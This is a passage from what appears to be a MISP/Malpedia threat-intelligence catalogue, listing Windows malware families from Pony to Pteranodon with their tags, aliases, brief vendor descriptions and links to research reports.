According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more. Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.

The tag is: `misp-galaxy:malpedia="Pony`"

Pony is also known as:

- Fareit
- Siplog

**Table 3825. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pony">1</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">2</a></td>
</tr>
<tr>
<td><a href="https://github.com/nyx0/Pony">3</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-galleon">4</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-essex">5</a></td>
</tr>
</tbody>
</table>
PoohMilk Loader

The tag is: **misp-galaxy:malpedia**="PoohMilk Loader"

PoohMilk Loader is also known as:

*Table 3826. Table References*

**Links**

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk](https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk)
POORTRY

According to Mandiant, POORTRY is a malware written as a driver, signed with a Microsoft Windows Hardware Compatibility Authenticode signature. This malware has been observed being used by UNC3944.

The tag is: misp-galaxy:malpedia="POORTRY"

POORTRY is also known as:

Table 3827. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry">https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware">https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware</a></td>
</tr>
</tbody>
</table>

PoorWeb

PoorWeb is also known as:

Table 3828. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb">https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/18796/">https://asec.ahnlab.com/ko/18796/</a></td>
</tr>
<tr>
<td><a href="https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019">https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats">https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

Popcorn Time

Popcorn Time is also known as:

Table 3829. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time">https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time</a></td>
</tr>
</tbody>
</table>

1673
PortDoor

The tag is: misp-galaxy:malpedia="PortDoor"

PortDoor is also known as:

Table 3830. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba">https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba</a></td>
</tr>
</tbody>
</table>

portless

The tag is: misp-galaxy:malpedia="portless"

portless is also known as:

Table 3831. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.portless">https://malpedia.caad.fkie.fraunhofer.de/details/win.portless</a></td>
</tr>
</tbody>
</table>

poscardstealer

The tag is: misp-galaxy:malpedia="poscardstealer"

poscardstealer is also known as:

Table 3832. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer</a></td>
</tr>
</tbody>
</table>
PoshC2

PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement.

PoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework. Out-of-the-box PoshC2 comes PowerShell/C# and Python3 implants with payloads written in PowerShell v2 and v4, C++ and C# source code, a variety of executables, DLLs and raw shellcode in addition to a Python3 payload. These enable C2 functionality on a wide range of devices and operating systems, including Windows, *nix and OSX.

The tag is: `misp-galaxy:malpedia="PoshC2"`

PoshC2 is also known as:

Table 3833. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2">https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2</a></td>
</tr>
<tr>
<td><a href="https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Countries%20Data.pdf">https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Countries%20Data.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/nettitude/PoshC2_Python/">https://github.com/nettitude/PoshC2_Python/</a></td>
</tr>
<tr>
<td><a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/getsystem-offsec/">https://redcanary.com/blog/getsystem-offsec/</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf</a></td>
</tr>
<tr>
<td><a href="https://paper.seebug.org/1301/">https://paper.seebug.org/1301/</a></td>
</tr>
<tr>
<td><a href="http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets">http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-trinity">https://www.secureworks.com/research/threat-profiles/cobalt-trinity</a></td>
</tr>
<tr>
<td><a href="https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/">https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/</a></td>
</tr>
<tr>
<td><a href="https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/">https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md">https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md</a></td>
</tr>
</tbody>
</table>
PoSlurp

The tag is: misp-galaxy:malpedia="PoSlurp"

PoSlurp is also known as:

- PUNCHTRACK

<table>
<thead>
<tr>
<th>Table 3834. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp">https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/">https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/just_windex/status/1162118585805758464">https://twitter.com/just_windex/status/1162118585805758464</a></td>
</tr>
</tbody>
</table>

Poulight Stealer

The tag is: misp-galaxy:malpedia="Poulight Stealer"

Poulight Stealer is also known as:

- Poulight

<table>
<thead>
<tr>
<th>Table 3835. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20">https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20</a></td>
</tr>
<tr>
<td><a href="https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true">https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=MaPXDCq-Gf4">https://www.youtube.com/watch?v=MaPXDCq-Gf4</a></td>
</tr>
</tbody>
</table>

Povlsomware

According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSONM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to “securely” test the ransomware protection capabilities of security vendor products.

The tag is: misp-galaxy:malpedia="Povlsomware"

Povlsomware is also known as:
Poweliks

The tag is: *misp-galaxy:malpedia*="Poweliks"

Poweliks is also known as:

POWERBAND

*NET variant of ps1.powerton.*

The tag is: *misp-galaxy:malpedia*="POWERBAND"

POWERBAND is also known as:

PowerCat

The tag is: *misp-galaxy:malpedia*="PowerCat"

PowerCat is also known as:
PowerDuke

The tag is: misp-galaxy:malpedia="PowerDuke"

PowerDuke is also known as:

Table 3840. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/">https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/</a></td>
</tr>
</tbody>
</table>

powerkatz

The tag is: misp-galaxy:malpedia="powerkatz"

powerkatz is also known as:

Table 3841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz">https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/">https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/</a></td>
</tr>
</tbody>
</table>

PowerLoader

The tag is: misp-galaxy:malpedia="PowerLoader"

PowerLoader is also known as:

Table 3842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader</a></td>
</tr>
</tbody>
</table>
**PowerPool**

The tag is: `misp-galaxy:malpedia="PowerPool"`

PowerPool is also known as:

*Table 3843. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool">https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool</a></td>
</tr>
</tbody>
</table>

**PowerShellRunner**

The tag is: `misp-galaxy:malpedia="PowerShellRunner"`

PowerShellRunner is also known as:

*Table 3844. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner">https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/">https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/</a></td>
</tr>
</tbody>
</table>

**Powersniff**

A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.

The tag is: `misp-galaxy:malpedia="Powersniff"`

Powersniff is also known as:

- PUNCHBUGGY

*Table 3845. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff">https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff</a></td>
</tr>
<tr>
<td><a href="https://lokalhost.pl/gozi_tree.txt">https://lokalhost.pl/gozi_tree.txt</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/">https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/</a></td>
</tr>
</tbody>
</table>
**PowerRatankba**

QUICKRIDE.POWER is a PowerShell variant of the QUICKRIDE backdoor. Its payloads are often saved to `C:\windows\temp\`

The tag is: `misp-galaxy:malpedia="PowerRatankba"`

PowerRatankba is also known as:

- QUICKRIDE.POWER

*Table 3846. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba">https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/">https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/">https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

**prb_backdoor**

The tag is: `misp-galaxy:malpedia="prb_backdoor"`

prb_backdoor is also known as:

*Table 3847. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor</a></td>
</tr>
<tr>
<td><a href="https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html">https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html</a></td>
</tr>
</tbody>
</table>

**Predator The Thief**

Predator is a feature-rich information stealer. It is sold on hacking forums as a bundle which includes: Payload builder and Command and Control web panel. It is able to grab passwords from browsers, replace cryptocurrency wallets, and take photos from the web-camera. It is developed by using a modular approach so that criminals may add more sophisticated tools on top of the it.
The tag is: `misp-galaxy:malpedia="Predator The Thief"`

Predator The Thief is also known as:

**Table 3848. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.predator">https://malpedia.caad.fkie.fraunhofer.de/details/win.predator</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-galleon">https://www.secureworks.com/research/threat-profiles/gold-galleon</a></td>
</tr>
<tr>
<td><a href="https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/">https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-predatory-tale/89779">https://securelist.com/a-predatory-tale/89779</a></td>
</tr>
<tr>
<td><a href="https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/">https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/</a></td>
</tr>
</tbody>
</table>

**Prestige**

According to PCrisk, Prestige is ransomware - malware that prevents victims from accessing (opening) their files by encrypting them. Additionally, Prestige appends the ".enc" extension to filenames and drops the "README" file containing a ransom note. An example of how this ransomware modifies filenames: it renames "1.jpg" to "1.jpg.enc", "2.png" to "2.png.enc", and so forth.

The tag is: `misp-galaxy:malpedia="Prestige"`

Prestige is also known as:

**Table 3849. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige">https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige</a></td>
</tr>
<tr>
<td><a href="https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/">https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/</a></td>
</tr>
</tbody>
</table>
Prikormka

The tag is: misp-galaxy:malpedia="Prikormka"

Prikormka is also known as:

Table 3850. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka
- https://securelist.com/cloudwizard-apt/109722/

Prilex

The tag is: misp-galaxy:malpedia="Prilex"

Prilex is also known as:

Table 3851. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex
- https://www.kaspersky.com/blog/chip-n-pin-cloning/21502

PrincessLocker

The tag is: misp-galaxy:malpedia="PrincessLocker"

PrincessLocker is also known as:

Table 3852. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker

PrivateLoader

According to sekoia, PrivateLoader is a modular malware whose main capability is to download
and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.

The tag is: misp-galaxy:malpedia="PrivateLoader"

PrivateLoader is also known as:

Table 3853. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader</a></td>
</tr>
<tr>
<td><a href="https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/">https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem">https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign">https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f">https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Ldp7eESQotM">https://www.youtube.com/watch?v=Ldp7eESQotM</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service">https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e">https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/peeking-privateloader">https://www.zscaler.com/blogs/security-research/peeking-privateloader</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscript-sinkholing-part-1">https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscript-sinkholing-part-1</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/privateloader-malware">https://intel471.com/blog/privateloader-malware</a></td>
</tr>
</tbody>
</table>

PRIVATELOG

Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.

The tag is: misp-galaxy:malpedia="PRIVATELOG"

PRIVATELOG is also known as:

Table 3854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog">https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cuckoopees-a-winnti-malware-arsenal-deep-dive">https://www.cybereason.com/blog/operation-cuckoopees-a-winnti-malware-arsenal-deep-dive</a></td>
</tr>
</tbody>
</table>
Project Hook POS

The tag is: `misp-galaxy:malpedia="Project Hook POS"

Project Hook POS is also known as:

Table 3855. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.project_hook">https://malpedia.caad.fkie.fraunhofer.de/details/win.project_hook</a></td>
<td></td>
</tr>
</tbody>
</table>

Prometei (Windows)

According to Lior Rochberger, Cybereason, prometei is a modular and multi-stage cryptocurrency botnet. It was discovered in July 2020, Cybereason Nocturnus team found evidence that this Prometei has been evolved since 2016. There are Linux and Windows versions of this malware.

The tag is: `misp-galaxy:malpedia="Prometei (Windows)"

Prometei (Windows) is also known as:

Table 3856. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei">https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/honeymoon_ioc/status/1494311182550904840">https://twitter.com/honeymoon_ioc/status/1494311182550904840</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/prometei-botnet-improves/">https://blog.talosintelligence.com/prometei-botnet-improves/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/honeymoon_ioc/status/1494016518694309896">https://twitter.com/honeymoon_ioc/status/1494016518694309896</a></td>
<td></td>
</tr>
</tbody>
</table>

Prometheus

Ransomware written in .NET, apparently derived from the codebase of win.hakbit (Thanos) ransomware.

The tag is: `misp-galaxy:malpedia="Prometheus"`
Prometheus is also known as:

Table 3857. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus">https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs-prometheus-ransomware">https://www.cybereason.com/blog/cybereason-vs-prometheus-ransomware</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/prometheus-ransomware/">https://unit42.paloaltonetworks.com/prometheus-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd">https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/inversecos/status/1441252744258461699?s=20">https://twitter.com/inversecos/status/1441252744258461699?s=20</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/">https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/">https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/">https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd">https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd</a></td>
</tr>
<tr>
<td><a href="https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea">https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html">https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html</a></td>
</tr>
</tbody>
</table>

proteus

The tag is: misp-galaxy:malpedia="proteus"

proteus is also known as:

Table 3858. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.proteus">https://malpedia.caad.fkie.fraunhofer.de/details/win.proteus</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/a-new-all-in-one-botnet-proteus.html">https://www.fortinet.com/blog/threat-research/a-new-all-in-one-botnet-proteus.html</a></td>
</tr>
</tbody>
</table>

Proto8RAT

The tag is: misp-galaxy:malpedia="Proto8RAT"

Proto8RAT is also known as:

Table 3859. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat</a></td>
</tr>
<tr>
<td><a href="https://github.com/avast/ioc/tree/master/OperationDragonCastling">https://github.com/avast/ioc/tree/master/OperationDragonCastling</a></td>
</tr>
</tbody>
</table>
ProtonBot

The tag is: misp-galaxy:malpedia="ProtonBot"

ProtonBot is also known as:

Table 3860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot</a></td>
</tr>
<tr>
<td><a href="https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/">https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=FtiysUZmDw">https://www.youtube.com/watch?v=FtiysUZmDw</a></td>
</tr>
</tbody>
</table>

Prynt Stealer

The tag is: misp-galaxy:malpedia="Prynt Stealer"

Prynt Stealer is also known as:

Table 3861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vxunderground/status/1519632014361640960">https://twitter.com/vxunderground/status/1519632014361640960</a></td>
</tr>
</tbody>
</table>

PseudoManuscrypt

According to PCrisk, PseudoManuscrypt is the name of the malware that spies on victims. It is similar to another malware called Manuscrypt. We have discovered PseudoManuscrypt while checking installers for pirated software (one of the examples is a fake pirated installer for SolarWinds - a network monitoring software).

The tag is: misp-galaxy:malpedia="PseudoManuscrypt"

PseudoManuscrypt is also known as:

Table 3862. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=uakw2HMGZ-I">https://www.youtube.com/watch?v=uakw2HMGZ-I</a></td>
</tr>
</tbody>
</table>

1686
PsiX

According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.

In binaries, apart from BotModule and MainModule, references to the following Modules have been observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule

The tag is: `misp-galaxy:malpedia="PsiX"`

PsiX is also known as:

- PsiXBot

Table 3863. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.psix
- https://twitter.com/seckle_ch/status/1169558035649433600
- https://twitter.com/mesa_matt/status/1035211747957923840

PSLogger

The tag is: `misp-galaxy:malpedia="PSLogger"`

PSLogger is also known as:

- ECCENTRICBANDWAGON
Table 3864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/KevinPerlow/status/1160766519615381504">https://twitter.com/KevinPerlow/status/1160766519615381504</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/">https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a</a></td>
</tr>
</tbody>
</table>

**PC Surveillance System**

Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.

The tag is: `misp-galaxy:malpedia="PC Surveillance System"`

PC Surveillance System is also known as:

- PSS

Table 3865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pss">https://malpedia.caad.fkie.fraunhofer.de/details/win.pss</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/">https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/</a></td>
</tr>
</tbody>
</table>

**Pteranodon**

The tag is: `misp-galaxy:malpedia="Pteranodon"`

Pteranodon is also known as:

- Pterodo

Table 3866. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
